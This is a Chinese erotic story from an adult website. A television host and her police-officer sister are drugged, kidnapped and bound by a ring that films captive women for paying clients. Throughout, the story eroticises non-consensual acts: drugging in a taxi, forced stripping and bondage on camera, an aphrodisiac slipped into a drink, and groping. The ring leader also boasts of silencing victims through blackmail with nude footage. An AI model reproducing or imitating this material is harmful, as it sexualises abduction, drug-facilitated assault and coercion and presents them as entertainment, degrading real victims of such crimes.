★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:MSSPW3.COM 点击收藏,以免迷路哦!

美贞历险记绳缚

  去年夏天,我去警局找妹妹,她正巧不在,我从大门口出来,打了辆出租准备回家。走到一条偏僻的小巷,司机说车有点毛病,下车修理,把我一个人关在车里。我隐约闻到一股刺鼻的药水味,不知怎么头就开始晕起来,想拉开车门,却发现车门是锁上的,车窗也落不下来。我的头更晕了,一股强烈的睡意向我袭来,我就什么也不知道了……等我醒来的时候,发现自己躺在一张双人床上,双手被紧紧地绑在背后,两只脚也被绑在了一起,浑身上下酸麻难动。我又惊又怕,欲待张口呼救,嘴里却不知被人塞了什么东西,胀憋憋的一个字也喊不出来。我环顾了一下四周,见这是一个10平方米左右的小房间,铁门紧锁,墙上贴满了不堪入目的下流图片。“唔!唔姆!”我闷叫了两声,用力地挣扎着,想摆脱麻绳的束缚,但没有成功。突然,我听到门外有脚步声和女子的叫骂声……

只听“咣铛”一声门响,铁门被打开了,一个身着警服的妙龄少女被推推搡搡地押了进来。我定睛一看,这少女不是别人,正是我的小妹缚美雯!只见她被五花大绑地倒绑着双手,胸前的制服被撕开了,露着雪白的衬衣和半截胸口;下边的警裙也被撕了个大口子,整个人显得非常狼狈。她看到我被绑在屋里,先是一怔,即而心疼地叫起来:“姐!你怎么也在这儿?”她身后的一个高个子男人哈哈地笑起来:“我先捉的她,还没来的及脱她的衣服,你又自己送上门来了,我的艳福不浅啊!”说着他在后面猛地一推,美琳立足不稳,一下栽倒在我身边……

妹妹被他掀倒在床上,就势滚了一下,倚在我的身边,用身子护住我,大声地呵斥道:“你别乱来!限制公民人身自由是要坐牢的!”……我注意到,妹妹的两手被白色的尼龙绳紧紧地反缚着,象个“W”形倒吊在后颈上,只要稍一挣动,绑绳就会收紧,所以她虽有一身武功,却不敢任意挣扎。我看着昔日英姿飒爽的警花妹妹象只羔羊般倒在身边,心中又是心疼,又有些纳闷:“妹妹从小练武术,平常动起手来,三五个男人也打不过她,不知这个坏蛋用了什么邪法把妹妹给捉住的?难道妹妹也让他给迷晕了?”那男人笑嘻嘻地凑了上来,伸手朝妹妹的脸蛋摸去。妹妹的两手给绑在身后,既不能阻挡,又没法反抗,情急之下,她突然飞起一脚,朝那男人小腹踢去。那男人不曾防备,加上距离又近,这一脚正踢在他肚子上,疼得他“呜吆”一声抱着肚子弯下了腰。美雯一招得手,再不迟疑,左脚连环踢出,跺在他的肩头上,把他踢得“噔噔噔”倒退几步,坐倒在墙角上。那男人咒骂道:“臭丫头片子,看我不扒光了你!”他扶着墙站起来,又想往前凑,美雯把双脚都蜷在胸前,随时准备再踢,口中喊道:“你再不放了我们,我踢死你!”那男人虚晃一下,趁美雯踢脚的时候,突然伸手抓住我的头发,把我拽了起来。我只觉头皮剧痛,身不由己地被他揽在了怀里。妹妹惊叫道:“你想干什么?放开我姐姐!”那男人用我当盾牌,一下把我搡到妹妹身上,他趁我们姐妹俩压摞的时候,一蹁腿骑在妹妹的膝盖上,摁住了妹妹的脚腕。妹妹象条黄蟮般在我身下蠕动着,双脚乱抽乱挣,可这次再也挣不脱了。那男人不知从哪儿又摸出一根绳子,把妹妹的双脚也一匝一匝地捆了个结实。他还不放心,又将美雯掀翻在床上,脸朝下摁住,将她的双脚倒提到臀后,用余出的绳头反缚在美雯的手肘上。可怜妹妹本是个高挑身材的少女(一米六九)却被他绑的象个没脚蟹般,一动也不能动。那男人嘲笑着捏了捏妹妹的脸蛋,笑道:“你再踢我呀?怎么没能耐了?”妹妹羞愤交加,啐道:“呸!无耻!放开我!”那男人顺着她的脸蛋摸下去,摸到了前胸,然后一个扣子一个扣子地解开了她的警服……我眼睁睁地看着他解去了妹妹的衣衫的时候,我心中又气又急,在旁边翻来覆去地蠕动挣扎,恨不能马上挣开绑绳掐死他,可这个混蛋把我绑得很紧,我怎么挣也是徒劳的。他剥去了妹妹的警装,又解开了她贴身的白衬衣……正在这紧急时刻,手机响了起来,那男人不情愿地从床上爬起,掏出手机看了看号码,脸色马上紧张起来:“外,萧系琊,倮毋蓟……”他的话我一个字也听不懂了。他说了一会儿,扣上电话对我们说:“你们俩老老实实在这儿待一会儿,别耍花样,我回来再玩你们!”他又从床底下拿出一根细麻绳,穿过我的双臂,将我侧身绑在床头的铁栏杆上,然后关上灯,锁上防盗门,走了。我们俩顿时陷入了一片黑暗之中,象两只待宰的羔羊。妹妹小声地说:“姐姐,你没事吧?你怎么被他抓来的?”我呜咽了两声,想说却说不出来。朦胧中,妹妹那温软的肉体一点一点地挪了过来。她把脸凑到我的嘴巴前,用她的小嘴叼住我嘴里的布团,使劲帮我拔开来。我大口地喘息着,眼泪却不由自主地流了出来。“呜呜呜……妹妹,我们怎么这么倒霉啊……你怎么也让他给逮住了?”“我……我在单位给你打手机,却怎么也打不通,后来打通了,他骗我说你出了车祸,正在医院抢救,让我赶快过来。我一着急,出门就截了一辆出租,结果还没到医院,我就不知怎么睡着了,等到我醒过来,已经让他把我给捆上了……”“傻妹妹,他那辆车上有迷药!我也是让他这么给绑架的!”“姐姐,你把身子转过来,咱俩背靠背把绳子解开!”“不行呀!他临走的时候把我捆到床栏上了,我翻不过身来!”“这个混蛋!他很有经验呀,看来他绑架过不少女孩子!”

随着时间的一点点过去,我的手脚变得越来越麻木了。本来开朗而又坚强的美雯妹妹,也在一边抽泣一边呻吟。我心疼地问:“妹妹,怎么样啊?”美雯扭动着腰身哭道:“姐!我实在受不了了!我的两条腿都转筋了,疼得不行!这个坏蛋,竟然用这种缺德的绑法来折磨我!”

我们俩无可奈何地面面相对,虽近在咫尺,却不能给对方一丝一毫的帮助。不知捱了多久,象是过了一个世纪,终于,我听到一阵凌乱的脚步声,象是有很多人。我心中突然一阵狂喜:“难道是妹妹的同事来救我们了?”我拼尽最后的力气,大声喊道:“救命啊!快救救我们!”门“咣”的一声开了,灯也亮了,我的眼睛已经习惯了黑暗,刹那间照得我睁不开眼。只听见一个淫荡的声音说:“两位美女,我来救你们了!”还没等我看清怎么回事,一个人已走了近来,用黑胶带把我的两眼蒙了个严严实实……他把我翻转过来,解开我和床栏杆之间的细麻绳,接着有两个人把我架起,连抬带抱地拖了出去。身后传来妹妹的尖叫声:“呀!你们干什么!放手!放开我!”我被塞进一辆汽车里,横放在那两个人的膝盖上。车门乒地一声关上了,汽车发动后,飞快的开走了。我怯怯地问:“你们是谁?要把我带到哪里?我妹妹怎么不上车?”只听有声音回答:“嘿,到底是电视节目主持人,一上来就问我们仨问题,好吧,我来回答你!”我猛地感到一只手伸到了我的两腿之间,抠了我一下,我“嗷”地痛叫了一声,象条被网住了的鱼般蠕动起来,可那只手还在不依不饶的骚扰着我。我平躺在他们的膝头上,手脚反缚,素面朝天,根本没法反抗……他们一人揪住我的头发,一人压住我的双腿,让我一点儿也不能动弹,然后变本加厉地在我胸口乱摸。我哀求道:“两位哥哥,饶了小妹吧,求你们了……”一人嘿嘿地说:“我们哥俩就是这会儿沾点儿光,一会儿送你进了绳演艺基地,可就轮不到我们了!”

汽车还在颠簸中前进。我忍受着他们的戏弄和凌辱,心想:“绳演艺基地是什么鬼地方?难道是专门欺负女孩子的集中营?”

经受了他们一路的调戏,汽车终于停下了。他们把我抱下来,扛着走了好远,走进了一间小屋,把我放倒在一张温软的大床上。我不知道,等待我的将是什么……所有的人都悄无声息地撤了出去。我只感受到有一个人还站在床边,凭直觉,我感到他正在静静地观察着我。——一种生理的需求让我难以再忍受,这种感受难以启齿,却又不得不说,我鼓了鼓勇气,喃喃地说:“这位大哥,求您件事情,您先把我松开,让我上趟卫生间,等完事之后再把我绑上,行吗?”我听见那人幽幽地叹了口气,然后捧住我的双脚,给我把绳子松开了。他把我扶起来,又替我解开了双手上的绑绳。从他的动作中,我感到他并不象个色魔,而象一个文质彬彬的大学生。我揉搓着麻木的双腕,却犹豫着是不是要揭开眼上的胶布,我不敢想象,把我绑架来的这个主谋到底是谁…………

当我撕开眼上的胶条时,惊奇地发现我正身处在一间大演播室里。四周的墙壁上挂满了大屏幕监视器,耀眼的聚光灯下,三四台摄像机对着前台的大背景,而这个背景竟然是我平时经常主持的一档栏目“心有千千结”!我吃惊地回过头来,见身边坐着一个二十多岁的青年男子,他的脸有几分英俊,几分苍白,甚至有些忧郁,这些表情产生了一种很诱人的气质。他向我笑了笑:“欢迎光临绳虐待演艺俱乐部,我是这里的创建人,叫我黄依吧。喏,卫生间在那儿,回来我们再细聊,好吗?”

不知不觉中,我的脸有些红了,心也鹿撞起来,我慌忙站起身向卫生间走去,可没想到我的双脚经过了这么长时间的捆绑,早已不听使唤,刚一站起,就觉得双膝一阵酥软,“哎呀”一声扑倒在地板上。黄依温柔地把我扶起来,问:“我抱你过去吧?”

我的脸更加红了,赶忙挣脱了他的搀扶,一瘸一拐地走进卫生间里,“哗哗哗”来了个一泻为快。我偷偷地打量着四周,希望能找到一条逃生的路,我甚至想从排气管道爬出去,可我又怕被他抓回来,再把我绑得象我妹妹那样,那可就惨了。思量再三,我还是老老实实地走了出来,坐在他对面,冷冷地对他说:“黄先生,你把我和我妹妹抓到这儿来,是想要钱,还是和我们有什么过节?这是什么地方?为什么布置得和电视台一样?”

黄依微笑着说:“我这个俱乐部搞了很长时间了,主要是用来接待各种充满SM激情的客人。我们先让女主角生活在她的职业环境里,让我们的客人扮成罪犯、学生、维修工等角色,然后让他们有机会在摄像机下把梦中情人五花大绑、吊缚、拷问、戏弄,最后把录象资料高价卖给他们。”

“啊!”我惊讶地合不上嘴了。世界上竟有这样荒唐的地方!

“但可谓千金易得,佳人难寻,我投资了几百万建好了这个工程,装修了各种布景,但却找不到合适的演员……开始,我花重金雇了一批美貌如花的三陪小姐,让她们扮演这一类角色,可是却达不到客人满意的效果,她们太假、太媚,也太造作,客人在她们身上根本找不到感觉……”

“这样你们就把我们绑了来,让我们演这种下流角色?”我愤愤地反问道。
“正是!”谈到这一点,黄依显得有些兴奋,“首先我派人偷拍了你的一些DV,录了几期你主持的节目,然后向客人推荐。没想到,有几个人对你妹妹更感兴趣,她虽然不如你漂亮,却比你更孤傲、更冷艳,更对SM客人的口味;再加上她的职业是预审,很多黑社会的人都被她审讯过,对她的印象特别深,到我这里非要出双倍价格玩玩她……于是我就派出我的猎艳人员在警察局门前蹲点守候,没想到,你偏偏在这个时候撞了上来……”

我恍然大悟,原来他们一开始的目标是妹妹,只因我们姐妹俩长的很象,我又刚好在警察局门口出现,那职业绑手就把我当成了妹妹给绑了来;后来发现绑错了人,又用我做诱饵把妹妹给捉住了……我突然想到一个问题:“我妹妹呢?你把她弄到哪儿去了?”

黄依笑了笑:“她很好,这会儿可能正笑得合不拢嘴呢!”说完,他打开监视器,屏幕上马上出现了妹妹的面部特写。只见她长发凌乱,脖颈乱摇,笑得花枝乱颤,涕泪横流。我大吃一惊:“怎么会这样?你们到底把她怎么样了?”接下来镜头渐渐拉远,镜头中她半裸着身子,反背着双手,倚在一根红色柱子旁,一道道的尼龙绳将她的腰身紧紧地绑在柱上;而她的双脚却被一左一右地高高吊起,悬吊在半空中,绳子绷得很紧,从妹妹的髋部扭动来看,她极力地想把双腿并拢,但却根本做不到。摄像镜头从她剧烈起伏的胸部一直拍到腹部,顺着洁白修长的大腿落在脚掌上,给她的脚丫子来了个特写镜头。妹妹的脚丫骨丰而肉匀,非常具有少女的美感,由于脚腕被长时间的紧绑,本来白皙水嫩的脚掌变成了胭脂红,她的五根脚趾难熬地蜷起又伸开,似乎经受着什么痛楚的折磨……她的脚在半空中无效地摇晃着,显然正在进行着拼命的挣扎。镜头从她的一只脚移到另一只脚,我这才看明白,原来她的另一只脚被别人紧紧握住,那人正在用长长的指甲轻轻地挠着她的脚掌心!

我突然感到心痛如绞:妹妹的脚底心是她的“命门”,平时我睡觉时轻轻勾到她一下,她也会“格格”地笑个不停,何况此刻被人家绑得一动也不能动,任凭别人又捏又搔?我可怜的小妹,这叫她怎么受的了?我发疯似的扑到黄依面前,双膝跪地,哀求道:“求求你,快放开她!你们不能这样对她!她会被你们折磨死的!呜呜呜……快放开她……”

黄依伸手捏住我的下巴,将我的脸抬起来,看着我泪光四溢的双眼,笑着说:“饶了她却也不难,只不过你要和我签份协议,只要你乖乖地按我的话去做,我保证她会没事的!”说完,他从床边的抽屉里拿出了几张纸,递到我手中。我接过合同,看也来不及看,喊道:“你先让他们停手!”

黄依对着衣领上的微型麦克风说:“6号6号,停止戏足,停止戏足!”
镜头又对准了妹妹的脸。妹妹垂下头,嘴里喃喃地咒骂着。

我见妹妹渐渐平静下来,知道暂时没事了,赶紧低下头看合同。只见上面写着:

自愿加入绳演艺俱乐部的申请

我是一个喜欢表演和被虐待的人,我在没有任何人挟迫的情况下,自愿加入BB演艺俱乐部。我愿意接受因演艺需要而导致的被捆绑和被虐待行为,并为此负全部责任。如果我因其他原因不能及时参加演艺活动,我本人的影像资料可由演艺俱乐部对外公开,版权归演艺俱乐部所有。

申请人签名:

我一看就气炸了:“这简直就是卖身契嘛!我不签!总有一天你们会被绳之以法的!”

黄依笑了:“不签?那就坐在这里看你妹妹的精彩表演吧!”

我心中暗想:“反正此刻是人为刀俎,我为鱼肉,我就是不签,这群神经病也会再次把我强行捆绑污辱,还不如虚与委蛇,先想法保住我和妹妹的清白之身,然后再伺机逃走!万一将来把这群歹徒一网打尽,这份破合同还不是废纸一张……”想到此,我假装惨然一笑:“我认输了,合同我签,不过我有个要求,我可是卖艺不卖身,你们别把我当妓女乱糟蹋!”

黄依得意地把我搂在怀里:“行啊,有没有那种行为,随你的便!”

我从他怀里挣出来,用签字笔在合同上写下了“缚美贞”三个大字。我扬起头,说:“合同签了,你先放了我妹妹再说!”黄依一脸坏笑地说:“你妹妹还得再呆会儿,我先看看你的演技!来吧,美丽的主持人小姐,先把你的衣服脱光吧!等一会我把你绑成四马倒攒蹄儿,让你跪在演播台上主持心有千千结!”
“啊!”我惊呆了,一颗心吓得“扑通扑通”乱跳。从小到大长了二十多年,我还从来没听到过这么无礼的话。

我真想扇他两个耳光,可是我知道这样做的后果是被他整得更惨,何况妹妹还在他们的控制之中。我冷静下来,柔声说:“黄大哥,你真会说笑话,我相信你,你不是那样的人。”黄依双眉一挑,眼中闪过一丝惊奇:“哦?你怎么知道我是什么样的人?”

我将身子靠近他坐下,轻轻地依偎在他肩上:“虽然你派人把我绑了来,但我不怪你,我知道,你的心里也有解不开的心结。我觉得你儒雅、坦诚,凶暴残忍只是你的假面具,而你的心中充满了对美丽女性的仰慕和崇拜,只不过你用另一种方式把它表现了出来。说实话,黄大哥,如果你不难为小妹的话,我们完全可以平等地交流,甚至成为知心朋友。你需要把我绑起来,我可以配合你,但你要是不顾我的感受,强行对小妹横加侮辱,小妹只有以死相谢了。”

说完这番话,我看到黄依露出了善意的笑容。他钦佩地说:“怪不得你号称芙蓉城四大美女,电视栏目万人迷,果然与众不同,以前的那些女孩子听到我说要把她们扒光衣服绑起来,不是吓得跪地求饶,就是放声大哭,没有一个有你这样的心境的,真是难得。要不是有人点名要和你录节目,我现在就想放你走了,对你这样美丽的女孩用刑简直是对艺术品的践踏。”我惊奇地问:“谁要和我做节目?”黄依说:“你的一个狂热追求者,当我们通知他你已经到了我们这里时,他付给我们10万元,就要求和你同台主持一次心有千千结。他的名字你大概也听过,唐军,不陌生吧?”“哦,听说过,他还给我写过求爱信呢。那究竟是怎么主持呢?不会是你刚才说的那样吧……”我的脸红了。黄依笑了,“我给你开了个玩笑,你也当真了!放心吧,完全是正规主持,只不过中间有他把你绑起来的一个情节,不会扒你的衣服的!来,有请唐军!”

音乐隐隐地响起来,不知从哪里一下子冒出好多人,有控制摄象机的,打麦克的,收拾演播台的,从他们的熟练程度上来看,完全象是一群专业人士。紧接着,一个文文静静的小伙子走上了台,还向我鞠了一躬。黄依递给我一杯水,说:“快去吧,别紧张,记住,不管遇到什么情况,不要停止主持,只要你一次成功,我就放了你们姐妹俩!”我兴奋地说:“真的?你可要说话算话!”说完我接过水杯一饮而尽,用手拢了拢长发,充满信心的走上台去……

我哪里知道,我已坠入了他们布好的圈套……

这杯水里,早已被他们下了大量的春药……

我坐在演播台前的吧凳上,很优雅地向唐军伸出手从容一握:“很高兴您能光临本栏目!”

唐军反倒有些局促,腼腆地笑了笑:“缚小姐,我喜欢您的主持风格,喜欢您的清新与温柔,我做梦都在盼望这一天的来临!我最大的愿望就是能亲手把您缚起来,感谢黄导给我这次千载难逢的机会!”

我的脸又红了,不好意思地笑着,心里却暗恨:“这个大变态,我怎么这么倒霉,会落到他的手中!”

原来,自从我刚刚主持这档栏目,就不断收到他寄来的信件,一开始是求爱信,后来就是各种把我捆绑折磨后百般虐待的文学描写,文字粗俗露骨,让我看后气愤无比。我通过妹妹向刑警大队报了案,但自从着手调查,就没了他的音讯。没想到,他又在这儿冒了出来!

我低下头顺了顺稿子,戴上导播耳机,问黄依:“开始吗?”

耳机中传来黄依的声音:“开始!”

三四台摄象机齐刷刷地对准了我。

“各位电视机前的观众朋友们,大家晚上好,欢迎继续关注心有千千结栏目,我是美贞。大家都知道每个人心中都有自己的小秘密,但是很少有人能有勇气把它说出来,我们这个栏目就为朋友们提供了一个打开心扉的机会。今天做客我们演播室的是著名的绳艺学家唐军先生,唐先生,欢迎您!”

刚说到这儿,我忽然感到一种异样的冲动,我的脸颊越来越热,一股酥麻感从小腹升腾而起,春潮瞬间席卷到了全身。我忍不住用手在双腿间抚摩了一下,这一摸不打紧,浑身有说不出的绵软和难受,腹下象有千百条小虫在爬。我难熬地咬住下唇,努力地克制着情欲,双手握在一起,忍着不在摄象机前出丑,可这种欲望的冲击却越来越强,让我无法忍受……我恨不得马上熬到节目结束,找个没人的地方脱光了衣服,痛痛快快地自慰一把,可这么多该死的摄象机拍着我,多不好意思啊……我象一条蠕虫般扭动着身子,最后我实在熬不住了,我喃喃地说:“唐先生,求你一件事……给我们电视机前的观众演示一下你的绳艺……把我的手绑起来吧,别……别让我再乱动……”

唐军兴奋地凑近我,揽住我的双肩,轻轻地向下一捋,就将我的双手扭在了背后。他将吧凳转了半个圈,让我背对着他,很熟练地掏出一卷红色棉绳,问:“需要脱去上衣吗?”我的心里一片空白,竟鬼使神差地点了点头。唐军从背后搂住我,替我一个个地解开胸前的扣子。我的胸脯剧烈地起伏着,在唐军解开我胸罩的一刹那,我的双乳胀卜卜地高挺起来……一个手持微型摄像机的小伙子不失时机地转到我面前,摄像机无情地拍下了我纯洁无瑕的双峰……我羞惭地闭上了眼睛,整个脸颊烧的很难受,很难受……我只觉颈部一紧,唐军的绳索已经勒住了我的双肩,一圈圈,一匝匝,手肘和手腕都被相继绑住,他将我绑好的双手向上一提,我“嘤”地呻吟了一声,难熬地挺起了胸……他将我的双手和颈间的绳索拴在了一起,又用余下的绳头从我的腋下穿过来,在我的乳下和乳上各勒了一道。我的乳房本来就胀痛难耐,再让他这么一勒,一种难以抑制的情欲袭身而来,我的浑身都酥了,只盼望他能在我的乳头上捏一下,哪怕一下……他却没有这样做,把我从吧凳上又转了回来,让我面对着三台主摄像机亮了亮相。由于我闭着眼睛,我看不到下面那些人的目光,但从我一转身时台下发出的惊叹声,我能想象到,他们在以一种什么样的眼光,看着我这个半裸的、粽子般的女主持……

台下的掌声雷动。唐军得意洋样地绕到我面前,慢慢地蹲下来,掀起了我的裙子,戏谑地说:“缚小姐,你的内裤都湿了,要不要我帮你脱下来?”我拼命地夹紧双腿,扭捏地弓下腰:“不要……不要……”唐军却趁机捉住我的脚腕,把我的高跟凉鞋扒了下来,紧接着撸去了我的丝袜,捧着我的赤脚亲了一下:“那我等你好了,看你能熬多久。”我感觉象被毛毛虫粘了一下,慌忙把脚抽回来,胯下却又有一股热流喷涌而出……再这样下去,我早晚要被他们剥光后轮奸,现在他们只是把我当成猫群里的老鼠逗弄着玩,我预感到他们快要对我下毒手了……在这电光火石的一刹那,我想起我的恩师在我毕业时对我说过的话:“你要做个好演员,演好你自己;在演好自己的同时,不要忘记你还是生活的导演,你要控制周围人的情绪和状态,直到你胜利!”

我突然有了一个极其大胆的想法。

我勇敢地睁开眼睛,痴痴地望着台下的黄依,喃喃地说:“黄大哥,我求你一件事,你能答应我吗?”

黄依一楞,不解地望着我。

我大声地说:“我想做你的女朋友!”

众人大哗。黄依也懵了:“你说什么?”

我把声调慢慢降下来:“其实,当我刚刚看见你,就已经爱上了你……我会听你的话,发挥我的编导特长,帮助你拍好每一部片子……黄大哥,我说的都是真的,请答应我……”

黄依呆呆地望着我,我看到他的眼睛里在闪烁着什么。他站起身来:“你……你说的是真的?”

我羞惭地低下了头,泪珠扑蔌蔌地滑落出来。

黄依慢慢地走到我面前,脱下外套,披在我赤裸的肩头上。我一头扎在他的怀里,象个孩子般放声大哭起来。唐军也傻眼了:“喂,后面的还拍不拍了?”
黄依猛地扭过头来,冲着他吼道:“滚!”

唐军张口结舌地说:“那我的10万块钱呢……”

黄依咆哮道:“听到没有,你给我滚!”

所有的人都灰溜溜地走了出去,诺大的演播厅里,只剩下我们两个人。
黄依突然捧起我的脸,刹那间,也记不得谁先主动,我们俩忘情地吻在一起……

我的手被绑在身后,没法拥抱他,只能用我高挺的胸部在他的怀里蹭来蹭去。我渴望被爱抚,渴望着被占有,渴望着男性的进入……我不知是被药物迷倒了,还是真的撑不住了,只记得我哀求道:“要了我吧,我全都给你……”

“哗”地一声,一杯冰水从我的头顶浇下来,我浑身一激灵,神智顿时清醒了许多。我看到黄依两只眼睛红红的,拿着个空杯子面对着我。他把我推倒在地上,神情复杂地说:“你先醒一醒,等药劲过去了,咱们再细谈吧。既然你把我当男友,我就不能再乘人之危地欺负你了,以前的事还请你多原谅……”

这一瞬间,我的心里也不知是庆幸?是悔恨?还是失落?一股莫名的、难以抑制的屈辱感啮咬着我的心,我感到特别无地自容,这种投怀送抱却被推开、被拒绝的感觉,简直比把我强奸10次还要难受!我对黄依充满了特别的恨意,恨他竟然用这种法子来折辱我……我歇斯底里地骂道:“你……你这个伪君子!放开我!摸我呀!强奸我呀!怎么不敢了?胆小鬼!”我的肺都要气炸了,只觉得一阵急火攻心,两眼一黑,就什么也不知道了……

我晕了过去,彻底失去了知觉……

……朦朦胧胧中,我感觉被抬到一张柔软的大床上,一双绵软腻滑的小手在抚摸着我的阴处。啊,好舒服,动作不快不慢,力道忽轻忽重,“呜……喔……”我忍不住呻吟起来,我想夹住双腿,可另一双手却摁住了我的膝盖,让我的双腿合不拢。“啊……喔!”我全身都酥麻了,高潮的兴奋感和幸福感让我陶醉了!……

当我从昏迷中苏醒过来时,只见眼前站着两个大美女。

高个的那个大约有20岁,穿着雪白的护士服,明目皓齿,美艳不可方物;个矮的那个大概是学生,还穿着校服,扎着一个大马尾,上身是蓝白相间的水手衫,下面一条及膝的短百摺裙,笑起来甜甜的,纯纯的,羞羞的。她俩见我醒了,高兴地笑着说:“呀,你可算醒了,我们还以为你救不过来了呢!”我赶忙坐起来,发现双手已被解开了,此刻上身也穿上了一件白汗衫。我诧异地问:“我这是在哪里?你们俩是谁?”

高个子护士小姐说:“我叫叶秋云,你叫我云云就行,那个小妹妹是娟娟,我们也是被他们绑架到这里来的,咱们都是同病相怜的人!”

小娟说:“昨晚主人说你病了,让我们俩照顾你……你昨晚烧得很厉害,云姐是护士,她说你不是一般的发烧,是吃了下三流的药才烧的,得把火泄出来才行,不然会有生命危险。结果昨天我们仨人在一张床上睡的,我们俩轮流给你做按摩,到今天早上你才退烧。”

我又是害羞又是感激,原来昨晚上那两双手是她俩……

我想下床,可刚一站起就头晕眼花,脚象踩到了棉花包上。云云扶住我,说:“别起来,再躺会儿!”我被迫又躺下了,昨晚那种惊涛骇浪般的欲望冲动已经过去,但四肢百骸还是有说不出的酸楚。我突然想到了妹妹,不知她怎么样了?现在在哪里?我问她俩:“你们来这里多久了?见到过一个叫缚美琳的女孩吗?”
娟娟眨了眨大眼睛,说:“你是说那个警察姐姐吗?她可给这群坏蛋整惨了……”

云云悄悄地摆了摆手,示意娟娟别再往下说。她站起身来:“你在这儿休息一会儿,我去喊她过来!”说完她转身出去了。

不一会儿,云云领着我的妹妹走了进来。

美琳还是一身警装,似乎并没有遭到侵犯,更出乎我意料之外的是,她竟然没有被绑着,就这么手脚自由地出现在我面前。但是她的神情却很委屈的样子,见到我躺在床上,眼圈立即红了,快步扑到我跟前,问:“姐姐,你……你怎么样了?我看他们折磨你的录象了,他们真无耻!”我坐起身来,和妹妹紧紧地搂在一起,说:“没事,总有一天我们会逃出这个魔窟的!咦,他们没绑着你吗?”妹妹低下头,说:“和绑着我差不多,他们在我的腰上和手腕、脚腕上都上了多情锁……”

这时我才注意到,妹妹的腰间扎着一条金属材质的腰带,用暗锁锁住的,腰带的后腰上有一个椭圆形的小铁盒,小铁盒有四个小孔,通出来四根透明的细尼龙丝,分别与妹妹手脖、脚脖上的四个精钢镯子相连。我诧异地问:“这是干什么的?”

“哈哈!”忽听一阵得意的笑声,黄依从外边走了进来:“你们都在这里呀,好热闹!”

妹妹见到黄依,眼睛里露出既愤怒又无可奈何的神情。黄依说:“美贞,这个多情锁是由我们研发中心发明的,拥有多国专利的最新SM用品,这一套是从日本订做的,科技含量非常高。看,我手里是它的遥控装置,可在五十米内使用。现在缚警官暂时是自由的,随着我一摁开关……”

说着,只见他摁了一下,妹妹惊叫了一声,双臂不由自主的向后拢去,紧接着“扑通”跪倒在地上,双脚也向后收紧,只几秒钟的工夫,她的双手和双脚都聚拢在了身后的小铁盒上,整个姿势成了个“四马倒扳蹄”的姿势。黄依解释说:“后腰的铁盒里有四个微型强力电机,带动绞盘收紧尼龙丝,可迅速把人由自由状态变为捆绑状态,特别适合用与会武术、反抗能力强的女性。独特的尼龙材质,可承受300KG的拉力,抗剪切,耐挣扎……”

“好啦好啦,你快把我妹妹放开!”我心疼地叫道。

黄依继续补充说:“遥控器上有密码,即使被绑者的同伙得到了控制器,也无法实施解救。输入密码后,系统提示有三种释放状态:1.拘押状态,电机回放18CM,被绑者只能蹲伏,不能直立,双手无法拿至身前;2.受限状态,电机回放
45CM-60CM,被绑者可以行走、进食,但无法进行出拳、踢脚等攻击性行为;3.
彻底自由状态。怎么样,设计科学吧?”

妹妹叫道:“我服了你了,快把我松开!”

黄依放开了妹妹。妹妹从地上爬起来,质问道:“你要把我们关多久?什么时候才能放我们走?”

黄依从怀里套出一本书递给我:“什么时候你们帮我把这些戏拍完了,我就放了你们!”

我接过书,见书皮和金庸小说《天龙八部》的封面设计一样,只不过书名换成了《缚凤八部》。我翻开目录,其内容让我瞠目结舌……

我打开一看,见目录共有八章,分别是:1.女警花匪巢蒙难2.靓主播舞台纵情3.美医护做茧自缚4.纯情妹初尝禁果5.十三妹王府遭擒6.俏黄蓉君山受辱7.小
龙女夜半失贞8.玉堂春屈打成招我问道:“这都是什么乱七八糟的?有古代的、现代的,大杂烩呀?”

黄依说:“你可别小看这八个剧本,这可是我穷尽脑汁,翻阅了大量绑缚文学资料,精心策划出来的,它涵盖了古今中外所有的绑缚手法、典型情景,如果能按照我的想象和要求拍出来,那可真的能称之为SM史上的一大里程碑!我之所以不惜冒着犯罪的风险把你们找来,就是为了完成这一杰作!”

我觉得他真是疯了。在我的眼里,他既不是色魔,也不是罪犯,而是一个地地道道的精神病患者。我顺着他的话题问道:“你是学影视创作的吗?”黄依激动地说:“不,我是学机械的,大学毕业后分配到工厂当技术科长,那时就有SM倾向,发了工资全都买了带捆绑镜头的黄碟,在宿舍研究。后来我们厂和日本合资,来了个日方代表SOSO先生,由于我的日语还可以,厂里就让我安排他的接待工作。有一天他喝多了,非要让我找个花姑娘绑起来玩玩,这一下正中我的下怀,我高价雇了两个漂亮的三陪小姐,带到他的宾馆房间里。那一夜真的让我大开了眼界。临走时,SOSO先生略有遗憾地说,就是这两个小妞太顺从了,没意思,他答应回国后帮我联系一个投资商,资助我建立一个真正的绑架俱乐部。我以为他是说着玩,没想到后来线万美元注册了娱乐公司,指名要我出任总经理。就这样,我辞了职,开始了绑架公司的不归路……”

“那你一共绑架了多少女孩子?”妹妹问道。

“嚯,可多了,前后算起来有上百个吧!最得意之作是扮演小龙女的女明星来访问时,我们把她给绑架了,拍了部《神雕》之完全版,仅这一个拷贝的海外发行,我就把日本老板的全部投资赚了回来,乐得小鬼子一个劲儿邀请我去日本发展。”

“啊!原来横店的案子是你做的!她为什么没报案,只说中了迷药,东西被盗了呢?”我对02年那件轰动一时的龙女迷魂案至今还记忆尤新。

“是啊,那些其他的女孩为什么也没报案呢?”妹妹也奇怪了。

“1.她们不敢,因为我手上有她们的所有资料,包括裸照、录像、受缚过程、自愿被凌辱的申请书和证明信,以及家人、男友、单位领导和老师的通讯地址,一旦报案,她将在社会上难以生存;2.没用,她们根本说不清这是什么地方,来去都是在被迷昏后,蒙着眼睛,捆着手脚进行的,连你这样的大警花都束手无策了,谁还破的了这样的案子呢?”

“你们真歹毒!”妹妹愤愤地说。

“哈,过奖了,只不过手段巧妙一点罢了,我们还会努力完善的。现在我们公司有自己的科技研发部,下设器械科和药物科,对各种迷魂冲剂、针剂和气雾剂有独特研究,对人体无毒无害,使用安全可靠,已通过国际质量认证,并远销南*棒、日本;器械科发明的多情锁、迷魂车和极乐羁勒床都已获得大量海外订单,并大量创汇;我们的人力资源部从最初的三、五个三陪小姐现发展为几百个花季青春美少女,行业跨及艺术、教育、政法等部门,形成了侦察、绑架、羁押、训练、拍摄、接待、放飞等一条龙作业,可谓天衣无缝……”

“我不信你们这么猖獗,就没失手过?”妹妹不服气。

“你们抓住过我们的几个负责绑架的小贼,可对我们丝毫没影响——他们根本不知道我们的地址,他们捉了人后先关在一个地下室里,几小时后由我们的人去提,你们的设诱饵、跟踪、包围对我们一点用都没有!”

